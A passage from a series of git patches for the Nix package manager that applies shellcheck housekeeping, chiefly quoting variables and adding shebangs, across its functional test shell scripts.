+    nix copy --to "file://$cacheDir" "${args[@]}"
 }
 
 testRemoteCacheFor () {
@@ -35,7 +36,7 @@ testRemoteCacheFor () {
     copyAttr "$derivationPath" 1
     clearStore
     # Check nothing gets built.
-    buildAttr "$derivationPath" 1 --option substituters file://$cacheDir --no-require-sigs |& grepQuietInverse " will be built:"
+    buildAttr "$derivationPath" 1 --option substituters "file://$cacheDir" --no-require-sigs |& grepQuietInverse " will be built:"
 }
 
 testRemoteCache () {
@@ -48,4 +49,4 @@ testRemoteCache () {
 }
 
 clearStore
-testRemoteCache
\ No newline at end of file
+testRemoteCache

From 627176fd54ebbd7a8411fd736f5ca6c7cd02e197 Mon Sep 17 00:00:00 2001
From: Cameron Dart <8763518+SkamDart@users.noreply.github.com>
Date: Mon, 3 Jun 2024 13:50:50 -0700
Subject: [PATCH 308/528] housekeeping: shellcheck for
 tests/functional/ca/build.sh

---
 tests/functional/ca/build.sh | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/tests/functional/ca/build.sh b/tests/functional/ca/build.sh
index e1a8a76252b..e5ad9d2a0f5 100644
--- a/tests/functional/ca/build.sh
+++ b/tests/functional/ca/build.sh
@@ -20,11 +20,11 @@ testDeterministicCA () {
 
 testCutoffFor () {
     local out1 out2
-    out1=$(buildAttr $1 1)
+    out1=$(buildAttr "$1" 1)
     # The seed only changes the root derivation, and not it's output, so the
     # dependent derivations should only need to be built once.
     buildAttr rootCA 2
-    out2=$(buildAttr $1 2 -j0)
+    out2=$(buildAttr "$1" 2 -j0)
     test "$out1" == "$out2"
 }
 
@@ -41,7 +41,7 @@ testGC () {
     nix-instantiate ./content-addressed.nix -A rootCA --arg seed 5
     nix-collect-garbage --option keep-derivations true
     clearStore
-    buildAttr rootCA 1 --out-link $TEST_ROOT/rootCA
+    buildAttr rootCA 1 --out-link "$TEST_ROOT"/rootCA
     nix-collect-garbage
     buildAttr rootCA 1 -j0
 }
@@ -55,7 +55,7 @@ testNixCommand () {
 testNormalization () {
     clearStore
     outPath=$(buildAttr rootCA 1)
-    test "$(stat -c %Y $outPath)" -eq 1
+    test "$(stat -c %Y "$outPath")" -eq 1
 }
 
 clearStore

From 2dfbba3e5e075ecbf6ddd3fb90ecee3003db85ec Mon Sep 17 00:00:00 2001
From: Cameron Dart <8763518+SkamDart@users.noreply.github.com>
Date: Mon, 3 Jun 2024 13:52:29 -0700
Subject: [PATCH 309/528] housekeeping: shellcheck for
 tests/functional/ca/derivation-json.sh

---
 tests/functional/ca/derivation-json.sh | 18 ++++++++++--------
 1 file changed, 10 insertions(+), 8 deletions(-)

diff --git a/tests/functional/ca/derivation-json.sh b/tests/functional/ca/derivation-json.sh
index c1480fd17cd..1e2a8fe35f6 100644
--- a/tests/functional/ca/derivation-json.sh
+++ b/tests/functional/ca/derivation-json.sh
@@ -1,29 +1,31 @@
+#!/usr/bin/env bash
+#
 source common.sh
 
 export NIX_TESTS_CA_BY_DEFAULT=1
 
 drvPath=$(nix-instantiate ../simple.nix)
 
-nix derivation show $drvPath | jq .[] > $TEST_HOME/simple.json
+nix derivation show "$drvPath" | jq .[] > "$TEST_HOME"/simple.json
 
-drvPath2=$(nix derivation add < $TEST_HOME/simple.json)
+drvPath2=$(nix derivation add < "$TEST_HOME"/simple.json)
 
 [[ "$drvPath" = "$drvPath2" ]]
 
 # Content-addressed derivations can be renamed.
-jq '.name = "foo"' < $TEST_HOME/simple.json > $TEST_HOME/foo.json
-drvPath3=$(nix derivation add --dry-run < $TEST_HOME/foo.json)
+jq '.name = "foo"' < "$TEST_HOME"/simple.json > "$TEST_HOME"/foo.json
+drvPath3=$(nix derivation add --dry-run < "$TEST_HOME"/foo.json)
 # With --dry-run nothing is actually written
 [[ ! -e "$drvPath3" ]]
 
 # But the JSON is rejected without the experimental feature
-expectStderr 1 nix derivation add < $TEST_HOME/foo.json --experimental-features nix-command | grepQuiet "experimental Nix feature 'ca-derivations' is disabled"
+expectStderr 1 nix derivation add < "$TEST_HOME"/foo.json --experimental-features nix-command | grepQuiet "experimental Nix feature 'ca-derivations' is disabled"
 
 # Without --dry-run it is actually written
-drvPath4=$(nix derivation add < $TEST_HOME/foo.json)
+drvPath4=$(nix derivation add < "$TEST_HOME"/foo.json)
 [[ "$drvPath4" = "$drvPath3" ]]
 [[ -e "$drvPath3" ]]
 
 # The modified derivation read back as JSON matches
-nix derivation show $drvPath3 | jq .[] > $TEST_HOME/foo-read.json
-diff $TEST_HOME/foo.json $TEST_HOME/foo-read.json
+nix derivation show "$drvPath3" | jq .[] > "$TEST_HOME"/foo-read.json
+diff "$TEST_HOME"/foo.json "$TEST_HOME"/foo-read.json

From 195c0da849e924ac0eee3583cace931eca158a3f Mon Sep 17 00:00:00 2001
From: Cameron Dart <8763518+SkamDart@users.noreply.github.com>
Date: Mon, 3 Jun 2024 13:54:17 -0700
Subject: [PATCH 310/528] housekeeping: shellcheck for
 tests/functional/ca/duplicate-realisation-in-closure.sh

---
 tests/functional/ca/duplicate-realisation-in-closure.sh | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/tests/functional/ca/duplicate-realisation-in-closure.sh b/tests/functional/ca/duplicate-realisation-in-closure.sh
index da9cd8fb499..0baf15cc202 100644
--- a/tests/functional/ca/duplicate-realisation-in-closure.sh
+++ b/tests/functional/ca/duplicate-realisation-in-closure.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source ./common.sh
 
 requireDaemonNewerThan "2.4pre20210625"
@@ -5,7 +7,7 @@ requireDaemonNewerThan "2.4pre20210625"
 export REMOTE_STORE_DIR="$TEST_ROOT/remote_store"
 export REMOTE_STORE="file://$REMOTE_STORE_DIR"
 
-rm -rf $REMOTE_STORE_DIR
+rm -rf "$REMOTE_STORE_DIR"
 clearStore
 
 # Build dep1 and push that to the binary cache.

From deacc421eb5bc53260ece90ce8cd1593ea7f7769 Mon Sep 17 00:00:00 2001
From: Cameron Dart <8763518+SkamDart@users.noreply.github.com>
Date: Mon, 3 Jun 2024 13:54:41 -0700
Subject: [PATCH 311/528] housekeeping: shellcheck for
 tests/functional/ca/nix-copy.sh

---
 tests/functional/ca/nix-copy.sh | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/tests/functional/ca/nix-copy.sh b/tests/functional/ca/nix-copy.sh
index 7a8307a4e9a..f77b0003034 100755
--- a/tests/functional/ca/nix-copy.sh
+++ b/tests/functional/ca/nix-copy.sh
@@ -15,13 +15,13 @@ testOneCopy () {
     rm -rf "$REMOTE_STORE_DIR"
 
     attrPath="$1"
-    nix copy --to $REMOTE_STORE "$attrPath" --file ./content-addressed.nix
+    nix copy --to "$REMOTE_STORE" "$attrPath" --file ./content-addressed.nix
 
     ensureCorrectlyCopied "$attrPath"
 
     # Ensure that we can copy back what we put in the store
     clearStore
-    nix copy --from $REMOTE_STORE \
+    nix copy --from "$REMOTE_STORE" \
         --file ./content-addressed.nix "$attrPath" \
         --no-check-sigs
 }

From 8f8553762960de9b1ff0d8add46ab9bc18cd76c5 Mon Sep 17 00:00:00 2001
From: Cameron Dart <8763518+SkamDart@users.noreply.github.com>
Date: Mon, 3 Jun 2024 13:54:42 -0700
Subject: [PATCH 312/528] housekeeping: shellcheck for
 tests/functional/ca/nix-run.sh

---
 tests/functional/ca/nix-run.sh | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/tests/functional/ca/nix-run.sh b/tests/functional/ca/nix-run.sh
index 5f46518e877..920950c110a 100755
--- a/tests/functional/ca/nix-run.sh
+++ b/tests/functional/ca/nix-run.sh
@@ -4,4 +4,4 @@ source common.sh
 
 FLAKE_PATH=path:$PWD
 
-nix run --no-write-lock-file $FLAKE_PATH#runnable
+nix run --no-write-lock-file "$FLAKE_PATH#runnable"

From 04876c39e46758a7445d390aa679b090248f7c4f Mon Sep 17 00:00:00 2001
From: Cameron Dart <8763518+SkamDart@users.noreply.github.com>
Date: Mon, 3 Jun 2024 13:57:25 -0700
Subject: [PATCH 313/528] housekeeping: shellcheck for
 tests/functional/ca/signatures.sh

---
 tests/functional/ca/signatures.sh | 12 +++++++-----
 1 file changed, 7 insertions(+), 5 deletions(-)

diff --git a/tests/functional/ca/signatures.sh b/tests/functional/ca/signatures.sh
index eb18a41302b..f69a205d203 100644
--- a/tests/functional/ca/signatures.sh
+++ b/tests/functional/ca/signatures.sh
@@ -1,10 +1,12 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 clearStore
 clearCache
 
-nix-store --generate-binary-cache-key cache1.example.org $TEST_ROOT/sk1 $TEST_ROOT/pk1
-pk1=$(cat $TEST_ROOT/pk1)
+nix-store --generate-binary-cache-key cache1.example.org "$TEST_ROOT/sk1" "$TEST_ROOT/pk1"
+pk1=$(cat "$TEST_ROOT/pk1")
 
 export REMOTE_STORE_DIR="$TEST_ROOT/remote_store"
 export REMOTE_STORE="file://$REMOTE_STORE_DIR"
@@ -19,16 +21,16 @@ testOneCopy () {
     rm -rf "$REMOTE_STORE_DIR"
 
     attrPath="$1"
-    nix copy -vvvv --to $REMOTE_STORE "$attrPath" --file ./content-addressed.nix \
+    nix copy -vvvv --to "$REMOTE_STORE" "$attrPath" --file ./content-addressed.nix \
         --secret-key-files "$TEST_ROOT/sk1" --show-trace
 
     ensureCorrectlyCopied "$attrPath"
 
     # Ensure that we can copy back what we put in the store
     clearStore
-    nix copy --from $REMOTE_STORE \
+    nix copy --from "$REMOTE_STORE" \
         --file ./content-addressed.nix "$attrPath" \
-        --trusted-public-keys $pk1
+        --trusted-public-keys "$pk1"
 }
 
 for attrPath in rootCA dependentCA transitivelyDependentCA dependentNonCA dependentFixedOutput; do

From 259b502773849afe385b473c48e852eb7bb7e9bd Mon Sep 17 00:00:00 2001
From: Cameron Dart <8763518+SkamDart@users.noreply.github.com>
Date: Mon, 3 Jun 2024 14:14:23 -0700
Subject: [PATCH 314/528] housekeeping: shellcheck for
 tests/functional/ca/substitute.sh

---
 tests/functional/ca/substitute.sh | 13 +++++++------
 1 file changed, 7 insertions(+), 6 deletions(-)

diff --git a/tests/functional/ca/substitute.sh b/tests/functional/ca/substitute.sh
index ea981adc4b0..76cedb4bce9 100644
--- a/tests/functional/ca/substitute.sh
+++ b/tests/functional/ca/substitute.sh
@@ -4,9 +4,10 @@
 
 source common.sh
 
+# shellcheck disable=SC1111
 needLocalStore "“--no-require-sigs” can’t be used with the daemon"
 
-rm -rf $TEST_ROOT/binary_cache
+rm -rf "$TEST_ROOT"/binary_cache
 
 export REMOTE_STORE_DIR=$TEST_ROOT/binary_cache
 export REMOTE_STORE=file://$REMOTE_STORE_DIR
@@ -17,11 +18,11 @@ buildDrvs () {
 
 # Populate the remote cache
 clearStore
-nix copy --to $REMOTE_STORE --file ./content-addressed.nix
+nix copy --to "$REMOTE_STORE" --file ./content-addressed.nix
 
 # Restart the build on an empty store, ensuring that we don't build
 clearStore
-buildDrvs --substitute --substituters $REMOTE_STORE --no-require-sigs -j0 transitivelyDependentCA
+buildDrvs --substitute --substituters "$REMOTE_STORE" --no-require-sigs -j0 transitivelyDependentCA
 # Check that the thing we’ve just substituted has its realisation stored
 nix realisation info --file ./content-addressed.nix transitivelyDependentCA
 # Check that its dependencies have it too
@@ -63,9 +64,9 @@ clearStore
 # Add the realisations of rootCA to the cachecache
 clearCacheCache
 export _NIX_FORCE_HTTP=1
-buildDrvs --substitute --substituters $REMOTE_STORE --no-require-sigs -j0
+buildDrvs --substitute --substituters "$REMOTE_STORE" --no-require-sigs -j0
 # Try rebuilding, but remove the realisations from the remote cache to force
 # using the cachecache
 clearStore
-rm $REMOTE_STORE_DIR/realisations/*
-buildDrvs --substitute --substituters $REMOTE_STORE --no-require-sigs -j0
+rm "$REMOTE_STORE_DIR"/realisations/*
+buildDrvs --substitute --substituters "$REMOTE_STORE" --no-require-sigs -j0

From d7bb5bde48acbc9be46933344cc6c7d47c43a1df Mon Sep 17 00:00:00 2001
From: Cameron Dart <8763518+SkamDart@users.noreply.github.com>
Date: Mon, 3 Jun 2024 14:14:46 -0700
Subject: [PATCH 315/528] housekeeping: shellcheck for
 tests/functional/check-refs.sh

---
 tests/functional/check-refs.sh | 34 +++++++++++++++++-----------------
 1 file changed, 17 insertions(+), 17 deletions(-)

diff --git a/tests/functional/check-refs.sh b/tests/functional/check-refs.sh
index 2cebdd84dd3..6534e55c603 100755
--- a/tests/functional/check-refs.sh
+++ b/tests/functional/check-refs.sh
@@ -6,42 +6,42 @@ clearStore
 
 RESULT=$TEST_ROOT/result
 
-dep=$(nix-build -o $RESULT check-refs.nix -A dep)
+dep=$(nix-build -o "$RESULT" check-refs.nix -A dep)
 
 # test1 references dep, not itself.
-test1=$(nix-build -o $RESULT check-refs.nix -A test1)
-nix-store -q --references $test1 | grepQuietInverse $test1
-nix-store -q --references $test1 | grepQuiet $dep
+test1=$(nix-build -o "$RESULT" check-refs.nix -A test1)
+nix-store -q --references "$test1" | grepQuietInverse "$test1"
+nix-store -q --references "$test1" | grepQuiet "$dep"
 
 # test2 references src, not itself nor dep.
-test2=$(nix-build -o $RESULT check-refs.nix -A test2)
-nix-store -q --references $test2 | grepQuietInverse $test2
-nix-store -q --references $test2 | grepQuietInverse $dep
-nix-store -q --references $test2 | grepQuiet aux-ref
+test2=$(nix-build -o "$RESULT" check-refs.nix -A test2)
+nix-store -q --references "$test2" | grepQuietInverse "$test2"
+nix-store -q --references "$test2" | grepQuietInverse "$dep"
+nix-store -q --references "$test2" | grepQuiet aux-ref
 
 # test3 should fail (unallowed ref).
-(! nix-build -o $RESULT check-refs.nix -A test3)
+(! nix-build -o "$RESULT" check-refs.nix -A test3)
 
 # test4 should succeed.
-nix-build -o $RESULT check-refs.nix -A test4
+nix-build -o "$RESULT" check-refs.nix -A test4
 
 # test5 should succeed.
-nix-build -o $RESULT check-refs.nix -A test5
+nix-build -o "$RESULT" check-refs.nix -A test5
 
 # test6 should fail (unallowed self-ref).
-(! nix-build -o $RESULT check-refs.nix -A test6)
+(! nix-build -o "$RESULT" check-refs.nix -A test6)
 
 # test7 should succeed (allowed self-ref).
-nix-build -o $RESULT check-refs.nix -A test7
+nix-build -o "$RESULT" check-refs.nix -A test7
 
 # test8 should fail (toFile depending on derivation output).
-(! nix-build -o $RESULT check-refs.nix -A test8)
+(! nix-build -o "$RESULT" check-refs.nix -A test8)
 
 # test9 should fail (disallowed reference).
-(! nix-build -o $RESULT check-refs.nix -A test9)
+(! nix-build -o "$RESULT" check-refs.nix -A test9)
 
 # test10 should succeed (no disallowed references).
-nix-build -o $RESULT check-refs.nix -A test10
+nix-build -o "$RESULT" check-refs.nix -A test10
 
 if isDaemonNewer 2.12pre20230103; then
     if ! isDaemonNewer 2.16.0; then
@@ -50,6 +50,6 @@ if isDaemonNewer 2.12pre20230103; then
     fi
 
     # test11 should succeed.
-    test11=$(nix-build -o $RESULT check-refs.nix -A test11)
+    test11=$(nix-build -o "$RESULT" check-refs.nix -A test11)
     [[ -z $(nix-store -q --references "$test11") ]]
 fi

From 4f04006bc14c865acae67ee1890b72af2bd430a6 Mon Sep 17 00:00:00 2001
From: Cameron Dart <8763518+SkamDart@users.noreply.github.com>
Date: Mon, 3 Jun 2024 14:14:48 -0700
Subject: [PATCH 316/528] housekeeping: shellcheck for
 tests/functional/check-reqs.sh

---
 tests/functional/check-reqs.sh | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/tests/functional/check-reqs.sh b/tests/functional/check-reqs.sh
index 2bcd558fd0c..4d795391e38 100755
--- a/tests/functional/check-reqs.sh
+++ b/tests/functional/check-reqs.sh
@@ -6,13 +6,13 @@ clearStore
 
 RESULT=$TEST_ROOT/result
 
-nix-build -o $RESULT check-reqs.nix -A test1
+nix-build -o "$RESULT" check-reqs.nix -A test1
 
-(! nix-build -o $RESULT check-reqs.nix -A test2)
-(! nix-build -o $RESULT check-reqs.nix -A test3)
-(! nix-build -o $RESULT check-reqs.nix -A test4) 2>&1 | grepQuiet 'check-reqs-dep1'
-(! nix-build -o $RESULT check-reqs.nix -A test4) 2>&1 | grepQuiet 'check-reqs-dep2'
-(! nix-build -o $RESULT check-reqs.nix -A test5)
-(! nix-build -o $RESULT check-reqs.nix -A test6)
+(! nix-build -o "$RESULT" check-reqs.nix -A test2)
+(! nix-build -o "$RESULT" check-reqs.nix -A test3)
+(! nix-build -o "$RESULT" check-reqs.nix -A test4) 2>&1 | grepQuiet 'check-reqs-dep1'
+(! nix-build -o "$RESULT" check-reqs.nix -A test4) 2>&1 | grepQuiet 'check-reqs-dep2'
+(! nix-build -o "$RESULT" check-reqs.nix -A test5)
+(! nix-build -o "$RESULT" check-reqs.nix -A test6)
 
-nix-build -o $RESULT check-reqs.nix -A test7
+nix-build -o "$RESULT" check-reqs.nix -A test7

From 63272235e282ad0f075677883eb2812a9c68cec2 Mon Sep 17 00:00:00 2001
From: Cameron Dart <8763518+SkamDart@users.noreply.github.com>
Date: Mon, 3 Jun 2024 14:51:07 -0700
Subject: [PATCH 317/528] housekeeping: shellcheck for
 tests/functional/case-hacks.sh

Co-authored-by: Sandro <sandro.jaeckel@gmail.com>
---
 tests/functional/case-hack.sh | 15 ++++++++-------
 1 file changed, 8 insertions(+), 7 deletions(-)

diff --git a/tests/functional/case-hack.sh b/tests/functional/case-hack.sh
index fbc8242ff8f..48a2ab13f06 100755
--- a/tests/functional/case-hack.sh
+++ b/tests/functional/case-hack.sh
@@ -4,18 +4,19 @@ source common.sh
 
 clearStore
 
-rm -rf $TEST_ROOT/case
+rm -rf "$TEST_ROOT/case"
 
-opts="--option use-case-hack true"
+opts=("--option" "use-case-hack" "true")
 
 # Check whether restoring and dumping a NAR that contains case
 # collisions is round-tripping, even on a case-insensitive system.
-nix-store $opts  --restore $TEST_ROOT/case < case.nar
-nix-store $opts --dump $TEST_ROOT/case > $TEST_ROOT/case.nar
-cmp case.nar $TEST_ROOT/case.nar
-[ "$(nix-hash $opts --type sha256 $TEST_ROOT/case)" = "$(nix-hash --flat --type sha256 case.nar)" ]
+
+nix-store "${opts[@]}" --restore "$TEST_ROOT/case" < case.nar
+nix-store "${opts[@]}" --dump "$TEST_ROOT/case" > "$TEST_ROOT/case.nar"
+cmp case.nar "$TEST_ROOT/case.nar"
+[ "$(nix-hash "${opts[@]}" --type sha256 "$TEST_ROOT/case")" = "$(nix-hash --flat --type sha256 case.nar)" ]
 
 # Check whether we detect true collisions (e.g. those remaining after
 # removal of the suffix).
 touch "$TEST_ROOT/case/xt_CONNMARK.h~nix~case~hack~3"
-(! nix-store $opts --dump $TEST_ROOT/case > /dev/null)
+(! nix-store "${opts[@]}" --dump "$TEST_ROOT/case" > /dev/null)

From 48520cb71ee2b068e66b26b37554cba8ff3b69cc Mon Sep 17 00:00:00 2001
From: Cameron Dart <8763518+SkamDart@users.noreply.github.com>
Date: Tue, 4 Jun 2024 12:23:17 -0700
Subject: [PATCH 318/528] housekeeping: shellcheck for
 tests/functional/chroot-store.sh

---
 tests/functional/chroot-store.sh | 31 ++++++++++++++++---------------
 1 file changed, 16 insertions(+), 15 deletions(-)

diff --git a/tests/functional/chroot-store.sh b/tests/functional/chroot-store.sh
index 60b9c50a7cc..741907fca59 100755
--- a/tests/functional/chroot-store.sh
+++ b/tests/functional/chroot-store.sh
@@ -2,34 +2,34 @@
 
 source common.sh
 
-echo example > $TEST_ROOT/example.txt
-mkdir -p $TEST_ROOT/x
+echo example > "$TEST_ROOT"/example.txt
+mkdir -p "$TEST_ROOT/x"
 
 export NIX_STORE_DIR=/nix2/store
 
-CORRECT_PATH=$(cd $TEST_ROOT && nix-store --store ./x --add example.txt)
+CORRECT_PATH=$(cd "$TEST_ROOT" && nix-store --store ./x --add example.txt)
 
 [[ $CORRECT_PATH =~ ^/nix2/store/.*-example.txt$ ]]
 
-PATH1=$(cd $TEST_ROOT && nix path-info --store ./x $CORRECT_PATH)
-[ $CORRECT_PATH == $PATH1 ]
+PATH1=$(cd "$TEST_ROOT" && nix path-info --store ./x "$CORRECT_PATH")
+[ "$CORRECT_PATH" == "$PATH1" ]
 
-PATH2=$(nix path-info --store "$TEST_ROOT/x" $CORRECT_PATH)
-[ $CORRECT_PATH == $PATH2 ]
+PATH2=$(nix path-info --store "$TEST_ROOT/x" "$CORRECT_PATH")
+[ "$CORRECT_PATH" == "$PATH2" ]
 
-PATH3=$(nix path-info --store "local?root=$TEST_ROOT/x" $CORRECT_PATH)
-[ $CORRECT_PATH == $PATH3 ]
+PATH3=$(nix path-info --store "local?root=$TEST_ROOT/x" "$CORRECT_PATH")
+[ "$CORRECT_PATH" == "$PATH3" ]
 
 # Ensure store info trusted works with local store
-nix --store $TEST_ROOT/x store info --json | jq -e '.trusted'
+nix --store "$TEST_ROOT/x" store info --json | jq -e '.trusted'
 
 # Test building in a chroot store.
 if canUseSandbox; then
 
     flakeDir=$TEST_ROOT/flake
-    mkdir -p $flakeDir
+    mkdir -p "$flakeDir"
 
-    cat > $flakeDir/flake.nix <<EOF
+    cat > "$flakeDir"/flake.nix <<EOF
 {
   outputs = inputs: rec {
     packages.$system.default = import ./simple.nix;
@@ -37,11 +37,12 @@ if canUseSandbox; then
 }
 EOF
 
-    cp simple.nix shell.nix simple.builder.sh config.nix $flakeDir/
+    cp simple.nix shell.nix simple.builder.sh config.nix "$flakeDir/"
 
-    outPath=$(nix build --print-out-paths --no-link --sandbox-paths '/nix? /bin? /lib? /lib64? /usr?' --store $TEST_ROOT/x path:$flakeDir)
+    outPath=$(nix build --print-out-paths --no-link --sandbox-paths '/nix? /bin? /lib? /lib64? /usr?' --store "$TEST_ROOT/x" path:"$flakeDir")
 
     [[ $outPath =~ ^/nix2/store/.*-simple$ ]]
 
-    [[ $(cat $TEST_ROOT/x/nix/store/$(basename $outPath)/hello) = 'Hello World!' ]]
+    base=$(basename "$outPath")
+    [[ $(cat "$TEST_ROOT"/x/nix/store/"$base"/hello) = 'Hello World!' ]]
 fi

From 58a653dcc669e9c874ec8b48486a1725ba93b4a4 Mon Sep 17 00:00:00 2001
From: Cameron Dart <8763518+SkamDart@users.noreply.github.com>
Date: Tue, 4 Jun 2024 13:32:30 -0700
Subject: [PATCH 319/528] housekeeping: shellcheck for
 tests/functional/compression-levels.sh

---
 tests/functional/compression-levels.sh | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/tests/functional/compression-levels.sh b/tests/functional/compression-levels.sh
index 34f66c531b1..6a2111f105c 100755
--- a/tests/functional/compression-levels.sh
+++ b/tests/functional/compression-levels.sh
@@ -9,16 +9,16 @@ outPath=$(nix-build dependencies.nix --no-out-link)
 
 cacheURI="file://$cacheDir?compression=xz&compression-level=0"
 
-nix copy --to $cacheURI $outPath
+nix copy --to "$cacheURI" "$outPath"
 
-FILESIZES=$(cat ${cacheDir}/*.narinfo | awk '/FileSize: /{sum+=$2}END{print sum}')
+FILESIZES=$(cat "${cacheDir}"/*.narinfo | awk '/FileSize: /{sum+=$2}END{print sum}')
 
 clearCache
 
 cacheURI="file://$cacheDir?compression=xz&compression-level=5"
 
-nix copy --to $cacheURI $outPath
+nix copy --to "$cacheURI" "$outPath"
 
-FILESIZES2=$(cat ${cacheDir}/*.narinfo | awk '/FileSize: /{sum+=$2}END{print sum}')
+FILESIZES2=$(cat "${cacheDir}"/*.narinfo | awk '/FileSize: /{sum+=$2}END{print sum}')
 
 [[ $FILESIZES -gt $FILESIZES2 ]]

From 847842c4bbb33dcde0fbdad557b3776482a28a87 Mon Sep 17 00:00:00 2001
From: Cameron Dart <8763518+SkamDart@users.noreply.github.com>
Date: Tue, 4 Jun 2024 13:32:33 -0700
Subject: [PATCH 320/528] housekeeping: shellcheck for
 tests/functional/derivation-json.sh

---
 tests/functional/derivation-json.sh | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/tests/functional/derivation-json.sh b/tests/functional/derivation-json.sh
index 59c77e6c511..06f934cfe0a 100755
--- a/tests/functional/derivation-json.sh
+++ b/tests/functional/derivation-json.sh
@@ -4,11 +4,11 @@ source common.sh
 
 drvPath=$(nix-instantiate simple.nix)
 
-nix derivation show $drvPath | jq .[] > $TEST_HOME/simple.json
+nix derivation show "$drvPath" | jq .[] > "$TEST_HOME"/simple.json
 
-drvPath2=$(nix derivation add < $TEST_HOME/simple.json)
+drvPath2=$(nix derivation add < "$TEST_HOME"/simple.json)
 
 [[ "$drvPath" = "$drvPath2" ]]
 
 # Input addressed derivations cannot be renamed.
-jq '.name = "foo"' < $TEST_HOME/simple.json | expectStderr 1 nix derivation add | grepQuiet "has incorrect output"
+jq '.name = "foo"' < "$TEST_HOME"/simple.json | expectStderr 1 nix derivation add | grepQuiet "has incorrect output"

From 1c1abefdd2c7da4873f78c8f71583294a94ae187 Mon Sep 17 00:00:00 2001
From: Cameron Dart <8763518+SkamDart@users.noreply.github.com>
Date: Tue, 4 Jun 2024 13:32:35 -0700
Subject: [PATCH 321/528] housekeeping: shellcheck for
 tests/functional/dyn-drv/text-hashed-output.sh

---
 tests/functional/dyn-drv/text-hashed-output.sh | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/tests/functional/dyn-drv/text-hashed-output.sh b/tests/functional/dyn-drv/text-hashed-output.sh
index f3e5aa93bb7..2cc877219ac 100644
--- a/tests/functional/dyn-drv/text-hashed-output.sh
+++ b/tests/functional/dyn-drv/text-hashed-output.sh
@@ -20,7 +20,7 @@ nix show-derivation "$drvProducingDrv"
 
 out1=$(nix-build ./text-hashed-output.nix -A producingDrv --no-out-link)
 
-nix path-info $drv --derivation --json | jq
-nix path-info $out1 --derivation --json | jq
+nix path-info "$drv" --derivation --json | jq
+nix path-info "$out1" --derivation --json | jq
 
-test $out1 == $drv
+test "$out1" == "$drv"

From 823d53c643d195f1663cc3dc5a0aa8e6184505d4 Mon Sep 17 00:00:00 2001
From: Cameron Dart <8763518+SkamDart@users.noreply.github.com>
Date: Tue, 4 Jun 2024 13:32:40 -0700
Subject: [PATCH 322/528] housekeeping: shellcheck for
 tests/functional/experimental-features.sh

---
 tests/functional/experimental-features.sh | 28 +++++++++++------------
 1 file changed, 14 insertions(+), 14 deletions(-)

diff --git a/tests/functional/experimental-features.sh b/tests/functional/experimental-features.sh
index 38f198eee9f..d7216992d4e 100755
--- a/tests/functional/experimental-features.sh
+++ b/tests/functional/experimental-features.sh
@@ -33,35 +33,35 @@ source common.sh
 NIX_CONFIG='
   experimental-features = nix-command
   accept-flake-config = true
-' expect 1 nix config show accept-flake-config 1>$TEST_ROOT/stdout 2>$TEST_ROOT/stderr
-[[ $(cat $TEST_ROOT/stdout) = '' ]]
-grepQuiet "Ignoring setting 'accept-flake-config' because experimental feature 'flakes' is not enabled" $TEST_ROOT/stderr
-grepQuiet "error: could not find setting 'accept-flake-config'" $TEST_ROOT/stderr
+' expect 1 nix config show accept-flake-config 1>"$TEST_ROOT"/stdout 2>"$TEST_ROOT"/stderr
+[[ $(cat "$TEST_ROOT/stdout") = '' ]]
+grepQuiet "Ignoring setting 'accept-flake-config' because experimental feature 'flakes' is not enabled" "$TEST_ROOT/stderr"
+grepQuiet "error: could not find setting 'accept-flake-config'" "$TEST_ROOT/stderr"
 
 # 'flakes' experimental-feature is disabled after, ignore and warn
 NIX_CONFIG='
   accept-flake-config = true
   experimental-features = nix-command
-' expect 1 nix config show accept-flake-config 1>$TEST_ROOT/stdout 2>$TEST_ROOT/stderr
-[[ $(cat $TEST_ROOT/stdout) = '' ]]
-grepQuiet "Ignoring setting 'accept-flake-config' because experimental feature 'flakes' is not enabled" $TEST_ROOT/stderr
-grepQuiet "error: could not find setting 'accept-flake-config'" $TEST_ROOT/stderr
+' expect 1 nix config show accept-flake-config 1>"$TEST_ROOT"/stdout 2>"$TEST_ROOT"/stderr
+[[ $(cat "$TEST_ROOT/stdout") = '' ]]
+grepQuiet "Ignoring setting 'accept-flake-config' because experimental feature 'flakes' is not enabled" "$TEST_ROOT/stderr"
+grepQuiet "error: could not find setting 'accept-flake-config'" "$TEST_ROOT/stderr"
 
 # 'flakes' experimental-feature is enabled before, process
 NIX_CONFIG='
   experimental-features = nix-command flakes
   accept-flake-config = true
-' nix config show accept-flake-config 1>$TEST_ROOT/stdout 2>$TEST_ROOT/stderr
-grepQuiet "true" $TEST_ROOT/stdout
-grepQuietInverse "Ignoring setting 'accept-flake-config'" $TEST_ROOT/stderr
+' nix config show accept-flake-config 1>"$TEST_ROOT"/stdout 2>"$TEST_ROOT"/stderr
+grepQuiet "true" "$TEST_ROOT/stdout"
+grepQuietInverse "Ignoring setting 'accept-flake-config'" "$TEST_ROOT/stderr"
 
 # 'flakes' experimental-feature is enabled after, process
 NIX_CONFIG='
   accept-flake-config = true
   experimental-features = nix-command flakes
-' nix config show accept-flake-config 1>$TEST_ROOT/stdout 2>$TEST_ROOT/stderr
-grepQuiet "true" $TEST_ROOT/stdout
-grepQuietInverse "Ignoring setting 'accept-flake-config'" $TEST_ROOT/stderr
+' nix config show accept-flake-config 1>"$TEST_ROOT"/stdout 2>"$TEST_ROOT"/stderr
+grepQuiet "true" "$TEST_ROOT/stdout"
+grepQuietInverse "Ignoring setting 'accept-flake-config'" "$TEST_ROOT/stderr"
 
 function exit_code_both_ways {
     expect 1 nix --experimental-features 'nix-command' "$@" 1>/dev/null

From f0492a61976ba41063565e903370c0c73e85a8ae Mon Sep 17 00:00:00 2001
From: Cameron Dart <8763518+SkamDart@users.noreply.github.com>
Date: Tue, 4 Jun 2024 13:32:57 -0700
Subject: [PATCH 323/528] housekeeping: shellcheck for
 tests/functional/fetchPath.sh

---
 tests/functional/fetchPath.sh | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

